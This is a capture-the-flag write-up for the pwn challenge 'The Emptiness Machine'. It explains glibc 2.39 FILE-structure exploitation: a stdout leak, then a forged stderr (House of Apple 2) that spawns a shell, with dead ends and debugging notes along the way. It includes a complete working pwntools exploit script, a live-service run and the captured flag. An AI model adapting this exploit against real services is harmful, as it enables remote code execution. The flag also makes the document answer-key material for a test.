A ten-line main calls scanf twice with stdout and
stderr as the destination - writing straight into the libc FILE
structures. Textbook File Stream Oriented Programming (FSOP), except that the obvious reading of %s makes the
challenge look unsolvable. It is not: \0 is not white space. The libc ships
with the challenge - Ubuntu GLIBC 2.39-0ubuntu8.7 - and every offset below comes from it.
$ ls -la
-rw-r--r--@ 1 feyrer staff 1071526 Jul 28 17:34 a2524370-0760-4c95-bee7-f1cc24518207-1784742024.zip
$ file a2524370-0760-4c95-bee7-f1cc24518207-1784742024.zip
a2524370-0760-4c95-bee7-f1cc24518207-1784742024.zip: Zip archive data, at least v1.0
to extract, compression method=store
$ unzip -l a2524370-0760-4c95-bee7-f1cc24518207-1784742024.zip
Length Date Time Name
--------- ---------- ----- ----
0 05-09-2026 04:49 challenge/
16224 05-09-2026 04:48 challenge/the_emptiness_machine
0 05-09-2026 04:48 challenge/glibc/
2125328 05-09-2026 04:48 challenge/glibc/libc.so.6
236616 05-09-2026 04:48 challenge/glibc/ld-linux-x86-64.so.2
--------- -------
2378168 5 files
$ file challenge/the_emptiness_machine
ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked,
interpreter ./glibc/ld-linux-x86-64.so.2, BuildID[sha1]=567eaaae..., not stripped
PIE with a bundled loader and libc 2.39. The PT_INTERP is the
relative path ./glibc/ld-linux-x86-64.so.2, so the binary only starts
from inside challenge/.
The remote is a plain nc-style TCP service. On connect it prints a large
Braille-art figure, then two prompts. The prose is set in Unicode mathematical italics -
worth noting, because it means strings will not find any of it:
$ printf "AAAA\nBBBB\n" | ./the_emptiness_machine
[24 lines of Braille art]
[Subdued Voice]: Let you cut me open... Just to watch me bleed..
Rin's interaction: munmap_chunk(): invalid pointer
Aborted
So: one prompt, and feeding it anything ordinary kills the process at exit. That crash is
already the whole challenge in miniature - the input landed inside a libc
FILE struct and broke it. A clean run offers two prompts:
[Subdued Voice]: Let you cut me open...
Rin's interaction: <- 40 bytes, into _IO_2_1_stdout_
[Subdued Voice]: Gave up who I am...
Rin's interaction: <- 224 bytes, into _IO_2_1_stderr_
The binary is tiny and not stripped, so decompiling main is the whole recon.
int main(void)
{
setbuf(stdin, NULL);
setbuf(stdout, NULL);
puts(banner);
printf("[Subdued Voice]: Let you cut me open...\n\nRin's interaction: ");
scanf("%40s", stdout);
printf("\n[Subdued Voice]: Gave up who I am...\n\nRin's interaction: ");
scanf("%224s", stderr);
return 0;
}
stdout and stderr are imported via R_X86_64_COPY,
so the binary's .bss holds the pointer value, not the structure:
0000000000004020 R_X86_64_COPY stdout
0000000000004040 R_X86_64_COPY stderr
11fc: mov 0x2e1d(%rip),%rax # <stdout>
1203: mov %rax,%rsi
1206: lea 0x1530(%rip),%rax # "%40s"
1215: call <__isoc99_scanf>
Conclusion: scanf writes directly into the libc FILE
structures. 224 == 0xe0 == sizeof(struct _IO_FILE_plus) - one complete FILE
struct including the vtable pointer. main returns,
exit() runs, _IO_cleanup() -> _IO_flush_all() walks the FILE
chain. This is FSOP.
No debugger is available (see 3.7), so the static initial state of
_IO_2_1_stderr_ has to come from parsing libc.so.6. The first
relocation parser walked .rela.dyn, filtered R_X86_64_RELATIVE
and found zero entries - while the raw .data bytes clearly contained
link-time addresses.
.rela.dyn 86 entries (0x810 bytes): {'64': 8, 'TPOFF64': 16,
'GLOB_DAT': 61, 'IRELATIVE': 1}
.rela.plt 61 entries (0x5b8 bytes): {'JUMP_SLOT': 16, 'IRELATIVE': 45}
.relr.dyn 32 qwords (0x100 bytes)
DT_RELR 0x27290
DT_RELRSZ 0x100
DT_RELRENT 0x8
Ubuntu 24.04 links its libc with -z pack-relative-relocs. All relative
relocations moved into DT_RELR, a bitmap encoding: an even qword is
an address, an odd qword is a bitmap for the next 63 slots.
while i < end:
e = u64(d, i); i += 8
if e & 1 == 0: # even -> address entry
addrs.append(e); where = e + 8
else: # odd -> bitmap for the next 63 slots
for k in range(63):
if (e >> 1) >> k & 1: addrs.append(where + k*8)
where += 63*8
That recovers 1067 relocations from 256 bytes - as RELA they would need 1067 x 24 = 25608 bytes.
Conclusion: A tool that only knows .rela.* sees a libc in which every
static pointer looks like NULL - i.e. stderr would appear to be a
completely unusable FILE object. Decoded correctly, the initial state is sane:
_lock = libc+0x205700, _wide_data = libc+0x2036e0,
vtable = libc+0x202030. And the key layout fact:
_IO_2_1_stdout_ == _IO_2_1_stderr_ + 0xe0 - the two structs sit back to back,
so the 224-byte write ends exactly at stdout->_flags.
The obvious objection to the whole approach: a pointer is 0x00007f..., two
zero bytes at the top, and %s supposedly cannot store NUL. The only zero byte
available would be the terminator scanf appends.
That gives exactly one pointer per scanf call: end the input so the
terminator falls on byte 6 of an 8-byte field whose byte 7 is already zero. Everything
else in the payload must be non-zero, and therefore cannot be a pointer.
Conclusion: Work out what one pointer can buy. That question turns out to be worth answering even though the premise is wrong.
IO_validate_vtable only checks that the vtable pointer lies inside
__libc_IO_vtables - not that it points at the start of a vtable, and not that
it is aligned. So the window can be slid in 8-byte steps, moving any function pointer in
the section into the __overflow slot. That makes the section content the
complete menu of callable functions.
_IO_file_{finish,overflow,underflow,xsputn,seekoff,setbuf,sync,
doallocate,read,write,seek,close,stat}
_IO_wfile_{overflow,underflow,xsputn,seekoff,sync}
_IO_str_{overflow,underflow,pbackfail,seekoff}
_IO_{w,}default_{uflow,pbackfail,xsputn,xsgetn,doallocate}
_IO_proc_close, plus the _mmap / _maybe_mmap variants
Conclusion: No system, no execve, no one-gadget - and
nothing that reaches one in a further dereference, because every slot points into
.text. So the only place where an attacker-chosen address can enter
rip is the one indirection glibc does not validate:
_IO_WDOALLOCATE(fp) == fp->_wide_data->_wide_vtable->__doallocate. And that
needs three pointers, not one.
Three pointers needed, one available. Each of these tries to source the missing ones from
somewhere else. All were run in the container; the failure table is reproducible with
deadends.py.
$ docker run --rm --platform linux/amd64 -v "$PWD:/work" em python3 -u deadends.py
1 vtable == _wide_data, CURR_PUTTING clear SIGABRT Fatal error: glibc detected an invalid stdio
1b vtable == _wide_data, CURR_PUTTING set SIGABRT Fatal error: glibc detected an invalid stdio
2 vtable via _vtable_offset, _wide_data ok exit 1
3 House of Apple 2 (working payload) shell SHELL_OK
| Attempt | Why it fails |
|---|---|
(i) alias the vtable onto _wide_data |
SIGSEGV: _IO_wfile_overflow writes
_wide_data->_IO_write_ptr, i.e. into .data.rel.ro |
(ii) keep _wide_data original, spend the pointer on the vtable |
exit 1: the genuine _IO_wide_data_2 has the genuine
_IO_wfile_jumps, so _IO_WDOALLOCATE calls the real
_IO_wfile_doallocate. Original _wide_data and control
flow are mutually exclusive. |
(iii) source a second pointer from stdout |
new_do_write unconditionally resets
stdout+0x08..+0x40 to &_shortbuf after the leak. The
only surviving field is _flags, which must keep
0xfbad.... - and a qword with ad fb in bytes 2/3 is
never a canonical address. |
(iv) fake FILE through _chain |
needs a valid vtable pointer at fake+0xd8; the only libc addresses
holding one put fake on top of a struct whose other fields are not
controlled |
| (v) heap primitives | there is a free() of a controlled pointer at exit (that is
the munmap_chunk() seen in section 2), but no malloc
follows it, and setbuf(stdin, NULL) means stdin never gets a heap
buffer either |
_IO_JUMPS_FUNC does not read the vtable pointer from a fixed
fp+0xd8 - it adds _vtable_offset, a signed char at
0x82. That would let the vtable come from anywhere in
fp+0x58 ... fp+0x157, freeing up the field that currently costs a pointer.
Several variants were built on this.
The test: take the working payload and change nothing except
_vtable_offset. If the field is honoured, the vtable is read from
fp+0x118 (garbage) and glibc aborts.
$ docker run --rm --platform linux/amd64 -v "$PWD:/work" em python3 -u vtoff_test.py
a working payload + _vtable_offset = 0x40 shell SHELL_OK
b vtable field = _wide_data = _IO_wfile_jumps SIGSEGV
Conclusion: _vtable_offset is ignored on x86-64. In
libioP.h the offset-aware macro is guarded by _IO_JUMPS_OFFSET,
set only when the build has SHLIB_COMPAT (libc, GLIBC_2_0, GLIBC_2_1) -
x86-64 never had a GLIBC_2.0. Every variant derived from that field was architecturally
impossible from the start. This also re-reads the earlier SIGABRTs correctly: those
payloads left fp+0xd8 at zero expecting the offset to redirect the read, so
the abort was never evidence about wide-data aliasing - it was evidence that the offset
field does nothing.
At this point the evidence was: one pointer is not enough, none of the five routes closes the gap, and the only unvalidated indirection needs three. So either the challenge is unsolvable, or the premise in 3.3 is wrong.
It was wrong. C99 7.21.6.2: %s matches "a sequence of non-white-space
characters". isspace('\0') == 0, so __vfscanf_internal stores
the NUL like any other character and keeps reading. The forbidden set is exactly:
0x09 \t 0x0a \n 0x0b \v 0x0c \f 0x0d \r 0x20 ' '
Conclusion: All 224 bytes are freely choosable, NUL included. Three pointers are trivial and House of Apple 2 falls out immediately. The only remaining restriction: none of the leaked libc addresses may contain a white-space byte - with ~15 ASLR-dependent bytes that works out about 70% of the time, so the exploit just reconnects.
setbuf(stdout, NULL) leaves every pointer aimed at
&stdout->_shortbuf (= stdout+0x83), i.e. zero bytes of
room. Send exactly 32 bytes so the terminator lands on offset 0x20 -
the least significant byte of _IO_write_base.
_IO_write_base = (&_shortbuf) & ~0xff
_IO_write_ptr = &_shortbuf (unchanged)
With _flags = 0xfbad1801 the next printf finds no room, calls
_IO_OVERFLOW(fp, EOF) and ends in
_IO_do_write(f, f->_IO_write_base, f->_IO_write_ptr - f->_IO_write_base).
_shortbuf is at stdout+0x83, stdout low byte is
0xc0, so the dump is exactly 0xc0 + 0x83 = 0x43 bytes.
raw leak bytes: 268
00000000 44 56 7b ff ff 7f 00 00 ... <- stdout->_IO_buf_end
00000028 e0 48 7b ff ff 7f 00 00 ... <- stdout->_chain = &_IO_2_1_stdin_
00000030 01 00 00 00 00 00 00 00 ... <- _fileno = 1
00000038 ff ff ff ff ff ff ff ff ... <- _old_offset = -1
00000043 0a 5b f0 9d 98 ... <- prompt starts here
The four flag bits, each load-bearing:
0xfbad0000 _IO_MAGIC - mandatory:
__vfprintf_internal runs CHECK_FILE() and bails out
silently on a bad magic (observable: feed the program test and the second
prompt never appears)0x0800 _IO_CURRENTLY_PUTTING - makes
_IO_new_file_overflow skip the reset path0x1000 _IO_IS_APPENDING - avoids the lseek in
new_do_write0x0001 _IO_USER_BUF - prevents a later
free(&_shortbuf)
Conclusion: Length 0x43 exactly as predicted, and the field values at
+0x00/+0x28/+0x30/+0x38 match - that turns the derivation into a fact.
libc base = leak - 0x204644. The prompt follows the dump, so program flow is
intact and the leak is inconspicuous.
stderr was never used, so it is still in its static initial state. Rebuild all
224 bytes. The catch: system(fp) is called with
rdi = &_IO_2_1_stderr_, so the struct's own first bytes are the command
string - and byte 0 is also byte 0 of _flags.
/* _IO_wfile_overflow */
if (f->_flags & _IO_NO_WRITES) /* 0x08 */ ... return WEOF;
/* _IO_wdoallocbuf */
if (!(fp->_flags & _IO_UNBUFFERED)) /* 0x02 */
if ((wint_t) _IO_WDOALLOCATE (fp) != WEOF) return;
So the first character must satisfy c & 0x0a == 0. That rules out
's' (0x73 & 0x0a = 0x02), and white space is out anyway, so
sh -c "exec sh" is not an option either.
The answer is $0: '$' = 0x24, and
0x24 & 0x0a == 0. This is not the exploited process' argv[0]
- it is a shell variable that only exists inside the shell system() spawns.
glibc runs execl("/bin/sh", "sh", "-c", command, NULL), and POSIX says that
with command_name omitted, $0 is the shell's own name:
$ ls -l /bin/sh
lrwxrwxrwx 1 root root 4 Mar 31 2024 /bin/sh -> dash
$ sh -c 'echo $0'
sh
$ echo id | sh -c '$0'
uid=0(root) gid=0(root) groups=0(root)
$ sh -c 'echo $0' BANANA
BANANA
The third line is the decisive one: the spawned sh reads commands from stdin,
i.e. from the socket. _flags ends up as 0x00003024, both
critical bits clear.
The fake structures go inside the FILE struct at negative offsets, so no heap is needed:
wide = fp - 0x10 -> wide+0x18 == fp+0x08 (wd->_IO_write_base = NULL)
wide+0x30 == fp+0x20 (wd->_IO_buf_base = NULL)
wide+0xe0 == fp+0xd0 (wd->_wide_vtable)
wvt = fp - 0x38 -> wvt +0x68 == fp+0x30 (__doallocate = system)
Conclusion: _IO_flush_all -> _IO_wfile_overflow -> _IO_wdoallocbuf
-> fp->_wide_data->_wide_vtable->__doallocate(fp) == system(fp). Two things
that bite otherwise: _lock must be a usable lock (_IO_flush_all
calls _IO_flockfile first), and the terminator lands on
stderr+0xe0 = stdout->_flags - harmless, since
stderr is flushed first.
exploit.py:
#!/usr/bin/env python3
"""
The Emptiness Machine -- HTB Salt Crown CTF 2026 (pwn)
Usage: ./exploit.py (local)
./exploit.py HOST PORT (remote)
"""
import os
import sys
from pwn import *
context.arch = 'amd64'
context.log_level = 'error'
CHALLENGE_DIR = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'challenge')
BINARY = './the_emptiness_machine'
# --- offsets in the shipped libc (Ubuntu GLIBC 2.39-0ubuntu8.7) --------
STDERR = 0x2044e0 # _IO_2_1_stderr_
STDOUT = 0x2045c0 # _IO_2_1_stdout_ == stderr + 0xe0
SHORTBUF = STDOUT + 0x83 # &_IO_2_1_stdout_._shortbuf
BUF_END = SHORTBUF + 1 # what stdout->_IO_buf_end holds
WFILE_JUMPS = 0x202228 # _IO_wfile_jumps
LOCK2 = 0x205700 # _IO_stdfile_2_lock
SYSTEM = 0x58750 # system
# scanf("%s") stops on white space -- these bytes must not appear in a
# payload. NUL is *not* white space and is perfectly fine.
WHITESPACE = b'\x09\x0a\x0b\x0c\x0d\x20'
def stage1():
"""Exactly 32 bytes: the NUL scanf appends lands on the least
significant byte of stdout->_IO_write_base, dragging it down to
(&_shortbuf & ~0xff). The following printf() therefore emits
write(1, &_shortbuf & ~0xff, 0x43) before printing the prompt."""
flags = 0xfbad1801 # MAGIC | USER_BUF | CURRENTLY_PUTTING | IS_APPENDING
payload = p32(flags) + b'AAAA' # _flags + padding
payload += b'B' * 8 # _IO_read_ptr
payload += b'C' * 8 # _IO_read_end
payload += b'D' * 8 # _IO_read_base
assert len(payload) == 32
return payload
def stage2(libc):
"""Full 224 byte _IO_FILE_plus for _IO_2_1_stderr_ (House of Apple 2).
_IO_flush_all() -> _IO_wfile_overflow -> _IO_wdoallocbuf
-> *(_wide_data->_wide_vtable + 0x68)(fp)
== system(fp) with fp == &_IO_2_1_stderr_
The first bytes of the struct double as the command string."""
fp = libc + STDERR
wide = fp - 0x10 # fake _IO_wide_data:
# +0x18 -> fp+0x08 (write_base, must be NULL)
# +0x30 -> fp+0x20 (buf_base, must be NULL)
# +0xe0 -> fp+0xd0 (_wide_vtable)
wvt = fp - 0x38 # fake wide vtable: +0x68 -> fp+0x30
# 0x00 _flags -- doubles as the command string for system(fp).
# '$' is 0x24, and 0x24 & 0x0a == 0, so neither _IO_UNBUFFERED (0x02)
# nor _IO_NO_WRITES (0x08) ends up set. 's' (0x73) would set 0x02.
p = b'$0\x00' + b'\x00' * 5
p += p64(0) # 0x08 _IO_read_ptr -> wd->_IO_write_base
p += p64(0) # 0x10 _IO_read_end
p += p64(0) # 0x18 _IO_read_base
p += p64(0) # 0x20 _IO_write_base -> wd->_IO_buf_base
p += p64(1) # 0x28 _IO_write_ptr > _IO_write_base
p += p64(libc + SYSTEM) # 0x30 _IO_write_end -> __doallocate slot
p += p64(0) * 10 # 0x38 .. 0x80
p += p64(libc + LOCK2) # 0x88 _lock (real lock, keeps flockfile happy)
p += p64(0) # 0x90 _offset
p += p64(0) # 0x98 _codecvt
p += p64(wide) # 0xa0 _wide_data
p += p64(0) * 3 # 0xa8 _freeres_list / _freeres_buf / _prevchain
p += p64(0) # 0xc0 _mode = 0 (needed: _mode <= 0)
p += p64(0) # 0xc8 _unused2
p += p64(wvt) # 0xd0 -> wd->_wide_vtable
p += p64(libc + WFILE_JUMPS) # 0xd8 vtable
assert len(p) == 224, len(p)
return p
def attempt(target, timeout=10):
io = (remote(*target, timeout=timeout) if target
else process(BINARY, cwd=CHALLENGE_DIR))
io.newline = b'\n'
try:
io.recvuntil(b"Rin's interaction: ", timeout=timeout)
io.sendline(stage1())
leak = io.recvuntil(b"Rin's interaction: ", drop=True, timeout=timeout)
if len(leak) < 8:
return 'no leak (service dead or banner changed?)', None
libc = u64(leak[:8]) - BUF_END
if libc & 0xfff:
return 'leak not page aligned: %#x' % libc, None
payload = stage2(libc)
bad = sorted({c for c in payload} & set(WHITESPACE))
if bad:
return 'white space in payload (%s), retry' % bad, libc
io.sendline(payload)
io.sendline(b'cat flag* 2>/dev/null; cat /flag* 2>/dev/null')
return io.recvrepeat(3), libc
except (EOFError, PwnlibException) as exc:
return '%s: %s' % (type(exc).__name__, exc), None
finally:
io.close()
def main():
target = (sys.argv[1], int(sys.argv[2])) if len(sys.argv) > 2 else None
print('[*] target: %s' % ('%s:%d' % target if target else BINARY))
for i in range(30):
result, libc = attempt(target)
if isinstance(result, bytes) and b'HTB{' in result:
print('[+] libc base: %#x' % libc)
print(result.decode('latin1').strip())
return 0
if isinstance(result, bytes):
result = 'shell did not answer: %r' % result[:60]
print('[-] attempt %d: %s%s'
% (i, result, '' if libc is None else ' (libc %#x)' % libc))
print('[!] gave up')
return 1
if __name__ == '__main__':
sys.exit(main())
Two supporting scripts reproduce the failed steps:
deadends.py (the failure table from 3.5) and vtoff_test.py
(the _vtable_offset experiment from 3.6).
Host is arm64 macOS, target is x86-64, so everything runs in an amd64 container:
FROM --platform=linux/amd64 ubuntu:24.04
RUN apt-get update && \
DEBIAN_FRONTEND=noninteractive apt-get install -y --no-install-recommends \
gdb python3 python3-pip python3-venv file strace socat ca-certificates && \
rm -rf /var/lib/apt/lists/*
RUN python3 -m venv /venv && /venv/bin/pip install --no-cache-dir pwntools
ENV PATH=/venv/bin:$PATH
WORKDIR /work
$ docker build --platform linux/amd64 -t em .
Locally, against the shipped binary:
$ docker run --rm --platform linux/amd64 -v "$PWD:/work" em \
sh -c 'echo "HTB{local_test_flag}" > challenge/flag.txt; python3 -u exploit.py'
[*] target: ./the_emptiness_machine
[+] libc base: 0x7fffff5b1000
HTB{local_test_flag}
And against the live service:
$ ./exploit.py 154.57.164.71 31192
[*] target: 154.57.164.71:31192
[+] libc base: 0x7f6bad3d5000
HTB{f4ll1ng_4_th3_pr0m1s3_0f_th3_3mptin355_m4ch1ne :)_9f4aeae0635f0331cb4624516a247878}
Roughly 30% of connections produce a libc base whose bytes contain white space somewhere in the payload; the exploit detects that before sending and reconnects, up to 30 times.
HTB{f4ll1ng_4_th3_pr0m1s3_0f_th3_3mptin355_m4ch1ne :)_9f4aeae0635f0331cb4624516a247878}
| # | Stage | Mechanism |
|---|---|---|
| 1 | The bug | scanf("%40s", stdout) and scanf("%224s", stderr) write into
the libc FILE structs, because R_X86_64_COPY puts the pointer value in
.bss. 224 bytes is one complete _IO_FILE_plus. |
| 2 | The key insight | %s stops on white space, and \0 is not white
space. All 224 bytes are freely choosable, so pointers can be written. |
| 3 | Leak | Send exactly 32 bytes so the terminator zeroes the low byte of
stdout->_IO_write_base. The next printf flushes
0x43 bytes of _IO_2_1_stdout_ to fd 1; the first qword is
_IO_buf_end, giving the libc base. |
| 4 | FSOP | Rebuild _IO_2_1_stderr_ completely. At exit(),
_IO_flush_all reaches _IO_wfile_overflow ->
_IO_wdoallocbuf ->
_wide_data->_wide_vtable->__doallocate(fp) - the one indirect
call glibc does not validate. |
| 5 | No heap needed | The fake _IO_wide_data and fake wide vtable are laid into the FILE
struct itself at negative offsets (fp-0x10, fp-0x38),
which works because the struct's address is known after the leak. |
| 6 | Shell | system(fp) with fp pointing at _flags, so the
struct's first bytes are the command. $0 passes the flag-bit
constraint c & 0x0a == 0 and expands to sh, which then
reads commands from the socket. |
scanf("%s") can write NUL bytes. \0 is not white
space; only \t \n \v \f \r ' ' terminate the conversion. That is the whole
core of the challenge.R_X86_64_COPY on stdout/stderr means the
.bss holds the pointer, so scanf(fmt, stdout)
writes into libc, not into the binary._IO_write_base is enough for a leak - the
terminator alone zeroes the least significant byte. Do not forget the magic
(0xfbad0000), or printf stays silent._vtable_offset is dead weight on x86-64. A whole line of reasoning was
built on it before measuring that it is ignored..rela.* reports every static pointer as NULL.
gdb cannot attach under the emulation
(PTRACE_GETREGS: Input/output error), and
--cap-add SYS_PTRACE --security-opt seccomp=unconfined does not help, because
the limitation is in the binary translation layer. No breakpoints, no single-stepping, no
reading _IO_2_1_stderr_ at runtime - which is why the offline
libc.so.6 parsing in step 3.2 mattered as much as it did. Failures could only
be classified by exit signal plus whatever glibc printed: SIGABRT +
"invalid stdio handle" points at _IO_vtable_check, SIGSEGV at a
bad dereference, munmap_chunk() at free(). That is indirect
evidence, and it is exactly why the _vtable_offset misreading survived as
long as it did - the first abort looked like it confirmed the model. The
differential experiment in 3.6 - change one byte in a known-good payload, see whether the
outcome changes - is the technique that replaced the debugger.